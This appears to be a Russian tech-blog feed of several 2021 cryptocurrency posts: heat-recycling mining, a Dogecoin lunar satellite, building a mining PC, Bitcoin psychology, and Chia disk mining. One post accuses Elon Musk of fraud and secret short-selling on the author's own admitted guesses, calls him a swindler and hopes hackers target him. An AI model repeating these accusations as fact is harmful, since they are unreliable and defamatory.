GPU майнеров будут прохладными, что повысит хэшрейты Неожиданно дорогая система

Результаты


Итак, пока майнинг покрывал примерно половину моих счетов за электричество (=отопление), но как будут отличаться результаты при предварительно нагреваемом наружном воздухе?

Давайте поглядим.


Результаты до и после предварительного нагрева воздуха

Успех! Мне удалось снизить расход электроэнергии теплонасосом примерно на 50%, и ещё половину затрат удаётся оплачивать заработанным на майнинге


Всё оказалось гораздо лучше, чем я надеялся. Кто-нибудь слышал о системе отопления, которая при работе снижает счета за электричество? Кроме того, в солнечные дни майнер и весь теплонасос работают целиком от солнечной энергии панелей на крыше.

Вопросы и ответы


В: Как долго будет оставаться прибыльным майнер?



О: Мой майнер будет прибыльным, пока цена ETH не станет ниже примерно 900 долларов. При цене ниже он уже не будет оправдывать собственные счета за электричество. Возможно, он всё ещё будет стоить того и после, потому что снижает потребность в электричестве теплонасоса.

В: Какое ПО запущено в майнере?


A: Я использую Simple Mining; по сути. это ОС для майнинга на основе Ubuntu. Она самостоятельно выполняет все настройки, и у меня получались гораздо лучшие хэшрейты, чем на самодельной системе с Windows. Однако пользование сервисом стоит порядка 2 долларов в месяц и, кажется, владельцы майнят 1% времени для себя.

В: Как насчёт налогов? Можно ли сохранить 100% от заработков на майнинге?



О: Для каждого штата и страны ответ будет своим. В Австрии майнинг считается коммерческой деятельностью и с неё нужно платить налоги, но вычитать затраты на электричество и оборудование.

Если вы оставляете у себя койны дольше, чем один год, не продавая их, то они не облагаются налогом.



На правах рекламы


Эпичные серверы от ВДСины не нуждаются в лишней рекламе, но мы напомним ;) Предлагаем надёжные серверы с посуточной оплатой, каждый сервер подключён к интернет-каналу в 500 Мегабит и бесплатно защищён от DDoS-атак! Устанавливает любые операционные системы с собственного образа.

Подробнее..

Илон Маск в прямом смысле запустит Dogecoin на Луну

10.05.2021 04:15:18 | Автор: admin


Мемы становятся всё дороже.


Уже были и NFT, которые продаются за миллионы, и обезьяны с Реддита, вкладывающие в акции Gamestop, чтобы обанкротить хедж-фонды с активами в несколько десятков миллиардов. А теперь Илон Маск вовсю форсит Dogecoin.


Вчера SpaceX объявила, что собирается запустить спутник, который они назовут DOGE-1, к Луне. И теперь принимает Dogecoin на свой кошелек, чтобы сделать это возможным. Запуск спутника будет оплачен исключительно криптовалютой.




Спутник будет использован для получения снимков Луны с помощью бортовых камер и датчиков. Он будет выполнен в форме куба весом 40 кг. Судя по пресс-релизу, его оплачивает компания Geometric Energy Corporation. Спутник запустят на ракете Falcon 9 в первом квартале 2022 года.


Dogecoin начиналась как глупый мем валюта с забавным лицом собаки. Но в последнее время, в основном благодаря усилиям Илона Маска, мем становится не таким уж и глупым. Миллиардер активно пиарил Doge в апреле, называя себя Dogefather. А вчера на день стал приглашенным ведущим в популярном телевизионном скетч-шоу Saturday Night Live (SNL). В основном чтобы поюморить, но в том числе и чтобы рассказать о своих новых проектах и Doge.




Цена Dogecoin, что характерно, во время скетчей Маска на SNL пошла вниз на 23%. По мнению многих зрителей, шутки и персонажи у Илона вышли не очень смешными. Но всё равно с начала апреля рост Doge превышает тысячу процентов. Если бы Илон Маск вложился в Doge до всей этой истории он мог бы заработать приличные деньги. Хотя вряд ли Маску это нужно: капитализация всего Dogecoin пока что составляет менее половины его состояния $73 млрд. Скорее всего, миллиардер делает всё ради спектакля и мемов.


Криптофанаты любят говорить о том, что та или иная валюта взлетит до Луны, но Маск первый решил не просто говорить, а взять организацию этого процесса в свои руки.




Вице-президент SpaceX Том Очинеро говорит, что это и будет официальным девизом проекта: Doge летит до Луны. Он также заявил, что их упор на крипто закладывает основы для межпланетной торговли.


Генеральный директор Geometric Energy Corporation говорит, что сделка укрепила DOGE как расчетную единицу для лунного бизнеса в космическом секторе. Далее в пресс-релизе говорится, что Dogecoin достаточно сложен и ценен, чтобы полностью профинансировать коммерческую лунную миссию. И что он будет использоваться для всех лунных операций между GEC и SpaceX. компаниями.


До этого Маск уже сообщал о планах компании пустить Dogecoin к Луне в твите от 1 апреля этого года. Конечно, тогда публика восприняла это просто как первоапрельскую шутку.


Но с Маском, ещё с момента запуска Tesla к Марсу, всаживания чипа в мозг обезъян и основания Boring Company, иногда сложно понять, где юмор, а где будущий бизнес-проект.




Возможно, это тот самый мир пост-экономики когда мемы и инфоповоды стоят любых денег. Реальная ценность продукта на рынке решает меньше, чем то, сможешь ли ты записать о нем успешный тикток или пустить виральный твит.


Так DOGE за счет своей меметичности в 2022-м станет первой криптовалютой, которая наконец-то взаправду долетит до Луны.

Подробнее..

Перевод Собираем современный компьютер для майнинга крипты

19.05.2021 12:19:31 | Автор: admin
image

В начале этого года была написана статья о майнинге Bitcoin на любом PC, а также я рассказал о ПК для майнинга криптовалют, который я собрал в 2018 году. Намайнив для себя немного Bitcoin, я получил гораздо более глубокое понимание того, как устроены криптовалюты и блокчейн (и заработал больше 1600 долларов).

А что если попробовать перейти на следующий уровень и собрать собственный простой ПК для майнинга из современных комплектующих 2021 года? Я решил это выяснить, поэтому позвал на помощь своего друга Адама, работающего инженером-компьютерщиком в компании, занимающейся обеспечением безопасности. (Когда я спросил, как называть его в статье, он выбрал имя Адам Великолепный, поэтому я буду просто звать его Адамом).

Адам составил исчерпывающий перечень компонентов современного самодельного ПК для майнинга криптовалют, состоящий только из комплектующих, продающихся на крупных розничных сайтах типа Amazon и Newegg. Я купил все комплектующие, собрал ПК и протестировал его майнинговую мощь. В статье я расскажу, как я это сделал и как вы сами можете собрать собственный современный ПК для майнинга.

Базовые принципы


Майнинг это математический процесс, выполняемый компьютером для создания новых монет криптовалют и для регистрации транзакций в блокчейне. Для выполнения операций майнинга большинство майнинговых ПК используют графическую карту (GPU). Можно майнить и на CPU, но эффективность этого будет несравнимо ниже.

Для сборщиков майнинговых компьютеров в 2021 году есть плохие новости: из-за безумного повышения стоимости криптовалют найти сегодня GPU может быть невероятно трудно, а по словам The Verge, цены на GPU "совершенно вышли из под контроля". Майнеры теперь платят до 850 долларов за GPU, ранее стоимость была всего пару сотен долларов. Поэтому в этом руководстве подразумевается, что вы или раздобыли GPU благодаря каким-то мутным схемам (не стоит рассказывать вам о подробностях), или у вас уже есть GPU (например, из старого игрового ПК), и вы хотите использовать его для майнинга крипты. В моём случае у меня имелся NVIDIA 1070 GTX, оставшийся от прежних экспериментов с криптой, за которую в 2018 году я заплатил 349 долларов.

По сути, PC для майнинга является просто обёрткой вокруг GPU, который непосредственно и занимается майнингом. Следовательно, ваша задача заключается в том, чтобы собрать всё, что не относится к GPU, из как можно более дешёвых и простых компонентов. Хорошие новости заключаются в том, что необходимые для сборки фундамента комплектующие намного лучше, дешевле, эффективнее и проще в приобретении, чем даже несколько лет назад. Благодаря этому создание простого майнингового PC стало гораздо проще и доступнее, чем когда бы то ни было.

Список компонентов


Вот список компонентов, который Адам Великолепный (простите) составил для моего простого майнингового PC:



Когда я покупал эти комплектующие в марте 2021 года, они обошлись мне в 249 долларов. На момент написания статьи в мае 2021 года они стали чуть дороже на Amazon, примерно 332 долларов. Даже при колебаниях цен вы сможете купить весь список (не считая GPU) примерно за 300 долларов.

Можно внести в этот список изменения, чтобы повысить производительность майнингового ПК или ещё больше удешевить его. Если у вас где-то завалялся SATA-привод, можно установить его и сэкономить на накопителе M2. Или мне достался сбойный M2, или я его сломал (подробнее об этом ниже), поэтому я распотрошил неиспользуемый компьютер и достал из него старый SATA-привод.

Также можно обойтись без корпуса. Многие майнеры собирают свои PC в виде так называемых bench builds со свободно лежащими комплектующими. Некоторые даже изготавливают самодельные корпуса из дерева и других материалов. Отказ от корпуса позволит сэкономить примерно 20 долларов, только будьте аккуратными, чтобы не повредить комплектующие.

Можно также изменить список, чтобы немного повысить эффективность PC. От прошлых экспериментов с майнингом у меня остался старый платиновый блок питания EVGA, поэтому в своей сборке я заменил им блок питания Raidmax. Блоки питания категории Platinum более энергоэффективны, то есть потенциально тратят меньше электричества для майнинга крипты, что позволяет снизить расходы.

Можно творчески подойти к этому списку, заменяя базовые компоненты на более дешёвые (или наоборот, более мощные) аналоги, добавлять имеющиеся у вас комплектующие, и т.д. В этом частично и заключается интерес сборки собственного майнингового ПК вы создаёте его с нуля, поэтому можете выбрать что угодно. Выше я перечислил комплектующие, которые подошли для меня.

Сборка


Я начал с раскладывания всех комплектующих на рабочем столе. Прикасаясь сначала к металлической поверхности, чтобы избавиться от статического электричества, я всё распаковал и проверил. Затем я установил панель для разъёмов материнской платы в корпус Rosewill.


Затем я установил саму материнскую плату. В первый раз я забыл сначала установить ножки для материнской платы, поэтому она легла непосредственно на металлический корпус. Я вынул её и установил ножки, чтобы она не касалась корпуса.


Я достал из коробки процессор AMD с кулером и радиатором, убедился, что он правильно расположен и установил его в процессорный разъём на материнской плате, закрепив кулер двумя рычажками. Кулер я подключил к разъёму кулера CPU на материнской плате.


Затем я вставил планку ОЗУ, надавив на неё, чтобы защёлкнулись рычажки.


Далее я вставил накопитель M2. Твердотельные накопители формата M2 изначально проектировались для использования в ноутбуках. Они чрезвычайно компактны, то есть их можно установить прямо на материнскую плату и получить сотни гигабайт на диске. Разъём M2 на материнской плате Gigabyte настолько мал, что сначала я его не нашёл, поэтому написал Адаму. Обнаружив разъём, я установил накопитель M2 и закрепил его винтом.


Затем я установил блок питания и подключил его к разъёмам питания материнской платы. Обычно есть большой разъём для материнской платы и чуть поменьше для процессора.


Также я соединил провода от кнопки питания на корпусе Rosewill с соответствующими разъёмами на материнской плате, чтобы можно было включать компьютер кнопкой. Теперь у моего PC были все базовые компоненты, я подсоединил его к монитору и включил. Это всегда критический момент для новой сборки PC. Правильно ли составлен перечень? Запустится ли машина?

В моём случае PC запустился, немного поработал, а потом внезапно отключился. Выполнив проверку (в том числе вынув все комплектующие из корпуса и запустив их как bench build), я понял, что забыл ножки для материнской платы, из-за чего плату коротило об корпус. Я вставил их, после чего компьютер загрузил BIOS и начал работать без проблем.

Далее я подключил USB-флэшку с программой установки Windows в USB-порт PC и загрузился с неё (можно создать собственную флэшку или воспользоваться опенсорсными ОС, например Ubuntu Linux). Когда я начал устанавливать Windows, установщик не смог обнаружить накопитель M2, поэтому мне некуда было устанавливать ОС. Возможно, я купил сбойный накопитель или случайно сжёг его, когда материнку закоротило на корпус. Может быть и так, что этот конкретный накопитель M2 несовместим с BIOS моей материнской платы (помните об этой опасности, если будете покупать комплектующие по моему списку). Как бы то ни было, решить проблему оказалось легко. Я взял SATA-привод из старого PC, подключил к компьютеру для майнинга и установил на него Windows.

После нормальной загрузки и проверки работы Windows я установил драйверы для NVIDIA 1070, снова отключил PC, подключил 1070 в PCI-разъём компьютера и соединил его с блоком питания.


Затем я снова запустил систему, Windows установила GPU и он заработал. Мой простейший PC для майнинга готов к работе!

Майнинг и прибыль


Под конец я установил ПО для майнинга. Я решил работать с NiceHash, который подробно описал в своей первой статье о майнинге на любом PC. Можно также использовать ПО типа WinEth, чтобы непосредственно майнить конкретную валюту, например Ethereum. Мне нравится NiceHash, потому что он позволяет запустить майнинг одним нажатием и автоматически оптимизирует алгоритмы майнинга в зависимости от оборудования компьютера. С помощью этого ПО вы не майните сами, а продаёте свои майнинговые мощности (называемые мощностью хеширования) другим людям, которые объединяют их со множеством других компьютеров для масштабного майнинга.

При майнинге на NVIDIA 1070 мой компьютер зарабатывал от 2,20 до 4,28 доллара в день (цены колеблются в зависимости от стоимости различных криптовалют и общего спроса на мощности хеширования). В среднем, он зарабатывал чуть больше 3 долларов в день, или примерно 100 долларов в месяц. Однако это валовый доход. Чтобы посчитать прибыль, нужно учесть стоимость электричества, которое майнинговые ПК потребляют очень активно.

Здесь меня ожидала приятная неожиданность. Мой первый майнинговый PC, собранный из комплектующих 2018 года, потреблял при майнинге 220 Вт. Новый компьютер потребляет всего 150 Вт, несмотря на то, что его основой является тот же GPU NVIDIA 1070. Разница существенна
снижение потребляемой мощности примерно на 46% при той же производительности майнинга. Вероятно, причина в более новых и энергоэффективных комплектующих современного PC.

Потребляя 150 Вт, мой PC ест 3,6 киловатт-час (кВтч) электричества в день. Здесь, в Калифорнии мы платим за электричество много; моя предельная ставка равна 0,32 доллара за кВтч. Это означает, что я плачу 1,15 доллара в день за электричество, потребляемое моей машиной. Майнинг всё равно приносит мне прибыль; даже с высокими затратами на электричество, я зарабатываю примерно 1,85 доллара в день. Так как мой PC для майнинга стоил 599 долларов (включая стоимость GPU), я отобью затраты на него за 323 дней меньше чем за год. После этого любые заработки от майнинга за вычетом затрат на электричество будут чистой прибылью.

Разумеется, есть множество аспектов, способных сместить стрелку прибыльности в любую из сторон. Цена криптовалют может рухнуть, и мощность хеширования моего компьютера будет стоить значительно меньше. Или она продолжит расти, и я смогу отбить стоимость оборудования ещё раньше. Я, как и все люди, понятия не имею, что произойдёт с рынками крипты дальше. Сумма в Bitcoin, которую я намайнил в своём первом эксперименте с криптовалютами в 2018 году, выросла примерно с 100 до более чем 1000 долларов, поэтому вероятность будущего роста всё ещё есть.

Если вы решите скопировать мою сборку (или собрать собственный похожий PC), то показатели могут сильно отличаться. Например, если стоимость электричества у вас гораздо ниже или если машина работает на избыточной солнечной энергии, то ваши затраты будут гораздо меньше, чем у меня. В Филадельфии, где я вырос, электричество стоит всего 6 центов за кВтч. При майнинге там цена моего ПК отбилась бы всего за 214 дней почти за семь месяцев.

Кроме того, можно различными способами масштабировать мою сборку. Можно отказаться от корпуса и заменить материнскую плату на специальную майнинговую материнку. Эти специализированные платы позволяют устанавливать в один компьютер до десяти GPU. Ни один серьёзный майнер не использует только один GPU, и эти специальные материнские платы позволяют создавать гораздо более мощные машины, которые предпочтительны для профессионалов. Также можно использовать более мощный GPU. По данным NiceHash, самые мощные карты наподобие NVIDIA RTX 3090 позволяют зарабатывать 13 долларов в день.

Однако в конечном итоге, самая большая ценность, которую вы получаете при сборке майнингового ПК, вероятно, выражается не в деньгах. Я обнаружил, что самое лучшее в создании ПК для майнинга заключается в гораздо большем понимании принципа устройства криптовалют, их создания, роста и падения их цен, а также того, как их хранить и использовать. Также я много узнал о разных GPU, алгоритмах майнинга, комплектующих и тому подобном.

Если вы хотите углубить свои познания в крипте и вам повезло иметь подходящий GPU, то рекомендую поэкспериментировать с самостоятельным созданием майнингового ПК. Я не могу обещать вам, что вы сколотите на Bitcoin состояние. Но вы точно получите более полное понимание криптотехнологий, меняющих наш мир.



На правах рекламы


Наши эпичные серверы хоть и не подходят для майнинга, но могут использоваться для любых других задач. Надёжные серверы на Linux или Windows с мощными процессорами семейства AMD EPYC и очень быстрой файловой системой, используем исключительно NVMe диски от Intel. Попробуйте как можно быстрее!

Присоединяйтесь к нашему чату в Telegram.

Подробнее..

Психология криптовалют или социальная сеть Биткоин

30.05.2021 14:10:27 | Автор: admin

Угадайте, какая система более централизована, государственные деньги или децентрализованные криптовалюты? Более централизованы оказались криптовалюты. Твиты одного человека способны двигать не только цены монет малой капитализации, но и его величества Биткоина.

Мне нравятся технологии, которые бурно развиваются в сфере блокчейн. Нодавайте сначала пройдемся по недостаткам крипты. Криптовалюты не прозрачны, спекулятивны. Тот, кто знает когда обрушатся или взлетят цены может зарабатывать миллионы за считанные минуты. Дергай себе котировки вниз-вверх. Оказывается, этот бизнес проще и выгоднее, чем электромобили. Вы уже догадались, что я о твитах Илона Рива Маска. Но беда ведь не в Маске. В 2017 году активнее всех манипулировал рынком Джон Макафи.

Наивные шифропанки мечтают сделать финансовую систему вне контроля жадных банкиров и тщеславных политиков. Но человеческую натуру не исправить. Мы стадные животные. Криптовалюты и любые другие технологии лишь инструмент в руках людей. Выходя из огня банковской системы мы попадаем в полымя харизматичных лидеров и гиков-кодеров.

Криптовалюты не делают людей свободнее только потому, что люди сами не хотят быть свободными. Новая финансовая система лишь перераспределит средства в пользу техно-гиков и знаменитостей. Не удивительно! Ведь пришла технократия и экономика внимания.

Если крипта не принесет большей свободы, то есть ли вообще ценность у Биткоина? Одни называют его валютой будущего. Но он плох в этом качестве. Слишком малая скорость транзакций и высокие транзакционные комиссии. Другие же считают, что роль Биткоина в качестве средства сохранения ценности. Но и тут очевидна нестыковка. Волатильность криптовалюты это противоположный полюс стабильности и надежности.

Все же, Биткоин популярен и популярность его будет только расти. А в наших сегодняшних реалиях технологии и популярность это все. Минутку, сейчас я аргументирую свой прогноз. Начну же с привычных и уже давно существующих систем денежных переводов типа Moneygram или Western Union.

В чем же ценность сети системы денежных переводов? В количестве отделений узлов сети. Именно за счет охвата отделениями больших территорий мы получаем удобство пользования системой.

Тот же принцип и с Биткоином. Но чем же он лучше? Тем, что его сеть это социальная сеть. Живой организм, растущий за счет наших человеческих эмоций. А для роста количества отделений Moneygram или Western Union нужны усилия менеджмента именно данного бизнеса. В таком росте нет естественного, животного, начала.

Биткоин же был спроектирован именно так, чтобы вовлекать новых участников в свою сеть с максимальной скоростью. Этот факт подтверждает статистика. Жадность и страх вот что движет людьми. Желание получить выгоду от роста котировок. Страх не успеть запрыгнуть в уходящий поезд. Страх потерять свои сбережения, хранящиеся в государственных деньгах, подверженных инфляции. Все эти эмоции нормальны. Их не нужно стесняться. Давайте примем их как факт. Примем себя такими какие мы есть. Примем Биткоин.

Так вот, главная ценность криптовалюты проистекает не из того, что она хороша как средство платежа или способ сохранения сбережений. Криптовалюта это сеть, отражающая нашу психологию в виртуальном пространстве. Мощь сети заключается в количестве ее узлов. А прирост нод Биткоина обеспечен нашими человеческими эмоциями.

Стаду все равно кто им управляет: государство при помощи законов или знаменитости своими твитами. Но кому мы сопротивляемся меньше полиции или кумирам?

Как известно, при достижении определенной критической массы, количество переходит в качество и социальная сеть приобретает новые свойства. Например, становится более устойчивой к манипуляциям. И уже тогда, поверх этой, качественно новой сети, можно удобно передавать ценность, сохранять в ней стоимость. Да что там, сейчас ни один футуролог не в силах предположить как именно мы будем использовать эту новую социальную сеть.

Глеб Коваленко

Подробнее..

Расследование гениальной схемы развода людей на биткоине от Илона Маска

06.06.2021 22:21:53 | Автор: admin

Привет, Хабр!

Сегодня хочу поделиться с вами своими исследованиями корреляции твитов Илона Маска с ценой криптовалюты Биткоин.

Сразу предупреждаю, что мой отчет является лишь плодом моих догадок и никак не может быть использован в качестве рекомендаций для покупки или продажи Биткоина, а также в качестве иска в сторону Илона Маска и/или компании Tesla.

Итак, Илон Маск за первую половину 2021 года проработал и реализовал гениальную схему по тому, как заработать иксы на держателях криптовалюты "Биткоин" и оставить их с дырой в кармане. Будучи большим поклонником инвестиций в традиционные инструменты, постарался прокопать всю стратегию развода:

1. Первым делом необходимо протестировать стратегию на небольших объемах. Так сказать, методика Agile.

Для этого Илон Маск выбран DogeCoin (который, между прочим, в 2015 году за бесценок слил сам его создатель). В начале февраля 2021г. Илон Маск публикует твиты с упоминаниями DogeCoin. В т.ч. и сказку о том, как заботливый папаша Илон купил DogeCoin своему сыну X. На этом моменте надо пустить слезу.

Сразу после каждого твита цена монеты растет в разы.

Вывод: схема работает!

2. 8 февраля Илон Маск объявил, что компания Tesla закупит биткоинов на 1,5 млрд. $
Цена биткоина за 1 день растет с 38 тыс $ до 48 тыс $

И тут происходит вся магия. Ну, конечно же, Илон Маск закупил биткоины намного раньше, нежели опубликовал новость, зная, что после его твита цена битка сразу же взлетит. Предполагаю, что он закупился в период с 1 по 7 февраля, когда курс битка был равен 30 тыс $

3. 24 марта Илон Маск объявил, что компания Тесла начала принимать оплату электрокаров Tesla в биткоинах. Вслед за этим цена биткоина пробивает 60 тыс $

x2 очень крутой показатель. Пора фиксировать прибыль, пока в этот спектакль не вмешались назойливые регуляторы!!!

Как ни странно, я нигде не смог найти номер биткоин-кошелька Tesla. Более того, я нигде не смог найти инфу о продаже хотя бы одного автомобиля Tesla с помощью биткоина.

Тут я обращаюсь к читателям этой статьи: если у вас есть инфа по номеру кошелька Tesla и/или по реальным фактам оплаты авто с помощью биткоина, дайте, пожалуйста, инфу об этом в комментариях.

4. 13 мая Тесла прекратила принимать оплату через биткоины из-за "неэкологичного способа их добычи". Цена биткоина за 1 день упала с 56 тыс $ до 50 тыс $

Простите, чтооооо? Неэкологический способ? Илон, ты реально решил напоследок смачно плюнуть в лицо тем, кто принес в твою компанию Tesla свои последние сбережения!?

Кстати, магия осталась та же: Илон продал все биткоины намного раньше (возможно, в период с 7 по 12 мая по цене 58 тыс $)


5. Вы же не думаете, что Илон настолько глуп, чтобы не шортить раздутый биткоин? Предполагаю, что вместе с закрытием длинной позиции, была сразу же открыта короткая позиция по той же цене. Илон-то в курсе, что Китай скоро введет запрет на криптовалюты, а вслед за ним последуют и другие страны.

6. 18 мая, в связи с ограничениями, наложенными Китаем на криптовалюты, цена битка рухнула с 40 тыс $ до 35 тыс $. На очереди готовятся ограничения от других стран, которые еще больше обрушат биткоин. А, пока, есть передышка, биткоин попытался протестировать 40 тыс $, и тут ...

7. ...4 июня Илон Маск напоминает всем какой биток плохой очередным своим твитом, после чего биткоин упал с 39 тыс $ до 35 тыс $

8. Думаю, что Илон хочет пробить отметку в 5 тыс $, чтобы выйти из своей короткой позиции и тем самым заработать еще иксов.

Остается только ждать и наблюдать за твитами самого успешного мошенника на Земле. Надеюсь, ребята из anonymous дадут жару этому злому гению!

Уважаемые читатели!

В комментариях к статье прошу не разводить холивар. Я не всегда имею возможность оперативно давать ответы на комментарии на Хабре. Все жаркие дискуссии прошу проводить в нашем tg-канале (в нем я доступен 24/7).

Подробнее..

Перевод Что такое Chia (XCH)? Как получать эту криптовалюту с помощью жесткого диска?

14.06.2021 20:18:14 | Автор: admin

Вместо используемого вBitcoinмеханизма консенсуса "Proof of Work", криптовалюта Chia использует новую модель "Proof of Space", для которого нужно место на жестких дисках.

Вкратце:

  • Chia это криптовалюта с новым механизмом консенсуса "Proof of Space and Time".

  • Вместо расхода вычислительной мощности, майнинг осуществляется за счет использования пространства жестких дисков.

Содержание:

  1. Введение

  2. Что такое Chia?

  3. Как работает Chia?

  4. Что в этом особенного?

  5. Что такое токен XCH?

  6. Как майнить Chia на жестком диске?

  7. Что дальше будет с Chia?

Нажмите на заголовок в оглавлении, чтобы перейти к нужному пункту.


Введение

Назад к оглавлению

Майнингпрочно занял место в заголовках новостей, хотя и не среди самых положительных из них. Все больше внимания уделяется воздействию майнинга криптовалют на окружающую среду, в частности, потребляющему много энергии методу "Proof of Work" (PoW), используемому при майнинге Bitcoin и (в настоящее время) Ethereum.

Криптовалюта Chia должна изменить это за счет применения нового механизма консенсуса "Proof of Space and Time", в котором для защиты сети вместо расходования вычислительной мощности используется память жестких дисков. Создатели этой криптовалюты утверждают, что она более безопасная, более распределенная, и менее расточительная, чем такие криптовалюты на базе метода Proof of Work, как Bitcoin. Новый подход уже продемонстрировал свою популярность среди майнеров, начавших скупать жесткие диски, нужные для построения "фермы" майнинга.

Ниже описывается, как это работает, и как начать заниматься майнингом Chia.

Что такое Chia?

Назад к оглавлению

Chia этоблокчейн, цифровая валюта, и интеллектуальная платформа транзакций, предназначенная для облегчения платежей за границу, условного депонирования и институционального хранения средств.

Разработанная создателем BitTorrent Брэмом Коэном (Bram Cohen) криптовалюта Chia была задумана в августе 2017 и запущена в мае 2021, причем награда за майнинг в сети появилась в марте, а криптовалюта будет использовать транзакции, включенные в мае.

Этот проект поддерживается такими крупными участниками, как фонды Andreessen Horowitz и Galaxy Digital, и имеет амбициозные планы создания "настраиваемого международного коммерческого банка, работающего быстрее, чем Bitcoin".

Криптовалюта Chia отличается от других криптовалют своим уникальным механизмом консенсуса, обеспечивающим безопасность блокчейна, и получившим название "Proof of Space and Time".

Как работает Chia? Что представляет из себя Proof of Space and Time?

Назад к оглавлению

Криптовалюта Chia использует уникальный механизм консенсуса (систему, гарантирующую целостность блокчейна). В то время, как Bitcoin для этой цели использует Proof of Work, требующее значительных затрат вычислительной мощности, а такие блокчейны, как Flow и Cosmos используют механизм, названный "Proof of Stake", Chia использует так называемое "Proof of Space and Time".

Вместо применения мощных компьютеров, соревнующихся в решении математических задач, Chia использует пространство на жестких дисках (HDD) и твердотельных накопителях (SSD) в сочетании с механизмом лотереи. Майнеры Chia записывают на свои жесткие диски 100-гигабайтные "шаблоны", которые затем заполняются хэш-кодами. Когда к блокчейну Chia добавляется новый блок, то вычисляется его хэш-код, который сравнивается с хэш-кодами на дисках майнеров. Пользователь с наиболее близким соответствием выигрывает и получает вознаграждение за проверку блока.

В этом заключается "Proof of Space". Но, так как заполнение жестких дисков данными не требует значительной вычислительной мощности, то теоретически, данный блокчейн является уязвимым к grinding-атакам, когда злоумышленник перебирает различные варианты блока для нахождения лучшего.

Для защиты от этого сеть также требует, чтобы между появлением блоков прошло определенное время (Proof of Time). Это означает, что пользователь не может просто бесконечно переписывать шаблоны, чтобы взломать блокчейн.

Что в этом особенного?

Назад к оглавлению

Основное преимущество модели Proof of Space and Time в Chia заключается в том, что оно оказывает меньшее воздействие на окружающую среду, чем Proof of Work, используемое в таких криптовалютах, как Bitcoin.

Поскольку Bitcoin требует, чтобы майнеры вкладывали средства в увеличение вычислительной мощности (и, следовательно, в расход электроэнергии), то это спровоцировало среди майнеров "гонку вооружений". Общее потребление электроэнергии сетью Bitcoin сегодня превышает все потребление электричества в ряде стран. Затопление в апреле 2021 года угольной шахты в Китае и последствия этого события, повлиявшие на майнинг Bitcoin, также продемонстрировали непрерывную зависимость криптовалюты от ископаемого топлива.

Сконцентрировав защиту своей сети на емкости дисковой памяти, а не на вычислительной мощности, Chia потребляет на порядок меньше энергии. Однако, как указывают некоторые критики, это не означает полного отсутствия воздействия на окружающую среду. Поскольку Chia требует для майнинга только жесткие диски, с этой криптовалютой связано воздействие на окружающую среду во время производства этих дисков. Выполнение доказательства пространства и времени в узле сети также требует потребления определенного объема электроэнергии, которое, хотя и значительно меньше, чем нужно для доказательства работы, тем не менее, все еще превышает нулевой уровень то количество электроэнергии, которое бы потреблялось, если бы Chia не существовала.

Также публиковались утверждения о том, что майнинг Chia повреждает диски, особенно имеющие небольшие объемы накопители SSD, используемые майнерами для размещения и заполнения шаблонов. Основатель Chia Брэм Коэн оспаривает предположение о том, что Chia "выжигает" диски, когда майнеры используют HDD или SSD промышленного класса. Но немецкий поставщик облачных услуг, компания Hetzner, запретила майнинг этой криптовалюты на своих серверах, выразив обеспокоенность по поводу того, что майнинг Chia может привести к преждевременному выходу из строя ее дисков.

И если майнинг Chia действительно вызывает преждевременный износ дисков, то это может привести к увеличению объема электронных отходов, что ухудшит экологичность системы.

Что такое токен XCH?

Назад к оглавлению

XCH это собственный токен ("монета") сети Chia. Он используется для транзакций и для предоставления вознаграждения в качестве стимула для пользователей.

Как майнить Chia на жестком диске?

Назад к оглавлению

Майнинг Chia заметно отличается от традиционного майнинга криптовалюты. Чтобы начать, вам необходимо обеспечить наличие достаточного пространства на диске.

Обычно майнеры Chia записывают свои шаблоны на обладающие большой емкостью, быстрые твердотельные диски SSD потребительского класса. Такие SSD быстро изнашиваются, а винчестеры HDD, хотя и предлагают больше пространства для хранения информации, работают намного медленнее. Поэтому майнеры переносят заполненные шаблоны на большие HDD. Шаблоны Chia немного превышают 100 ГБ, но при этом требуется 350 гигабайтов для временного использования. Поэтому вам необходимо тщательно оценить свои первоначальные затраты, включая емкость SSD, емкость HDD и стоимость других компонентов, которые потребуются вам, если вы строите свою "ферму" с нуля. А затем нужно сопоставить эти затраты с вероятностью выигрыша в "лотерее", распределяющей награды Chia.

К счастью, существуют удобныеонлайн-калькуляторы, которые выполнят за вас основную часть тяжелой работы, позволяя рассчитать свой предполагаемый доход на основе числа шаблонов, которые вы намерены обрабатывать, затрат на аппаратное обеспечение и действующей цены XCH.

После того, как вы соберете вместе все необходимое, вам нужно обратиться квеб-сайту Chia, чтобы установить Chia на свой компьютер. Нажав на кнопку "Install Chia blockchain" ("установить блокчейн Chia"), вы попадете настраницу Githubпроекта, где сможете указать нужную ОС (включая Windows, MacOS и Ubuntu) и загрузить соответствующую программу установки.

Загрузив и запустив программу установки, вы увидите экран, на котором сможете создать новый закрытый ключ или импортировать существующий ключ. Для этого нужно щелкнуть по кнопке "create a new private key" ("создать новый закрытый ключ"). В результате будет сгенерирована мнемоническая фраза из 24 слов, которую следует записать и сохранить в надежном месте (ее не рекомендуется фотографировать или хранить на облачном диске, поскольку облако можно взломать и это позволит кому-то получить доступ к вашим средствам).

После возвращения к основному экрану нужно щелкнуть по кнопкам "Plots"("Шаблоны") и "Add a plot" ("Добавить шаблон"). Именно здесь вы выделяете дисковое пространство для размещения ваших шаблонов Chia.

Находясь в этом экране, вы можете выбрать размер своего шаблона (обычно, он должен несколько превышать 100 гигабайтов), количество шаблонов на вашем диске, и настроить очередь шаблонов для последовательной их обработки. Вам также необходимо задать временный и результирующий каталоги. Временный каталог это место, где сначала создаются шаблоны (обычно его помещают на быстром SSD-диске). Результирующий каталог это место, где шаблоны хранятся при выполнении майнинга, чтобы сравнивать их с предлагаемым блоком (обычно для этого выбираются жесткие диски HDD).

После установки Chia, прежде чем вы сможете начать майнинг, потребуется некоторое время для синхронизации блокчейна, хотя к заполнению шаблонов вы можете перейти сразу же.

Что дальше будет с Chia?

Назад к оглавлению

Запуск Chia был достаточно замечательным. Еще до того, как эта система стала доступной, она, по некоторым сообщениям, вызвала нехватку жестких дисков во всей Юго-восточной Азии. В то время размер сети Chia составлял около 600 петабайтов. К маю 2021 года он уже достиг 10 экзабайтов. Подобно майнерам Ethereum, раскупившим графические процессоры, майнеры Chia поспешили приобрести жесткие диски. Президент Chia Network, Джин Хоффман (Gene Hoffman) даже признал: "Мы, в какой-то мере, нарушили цепочку поставок дисков".

Не высказывает жалоб только одна группа производители жестких дисков, которые увидели неожиданный рост своих акций из-за внезапного роста спроса на их продукцию.

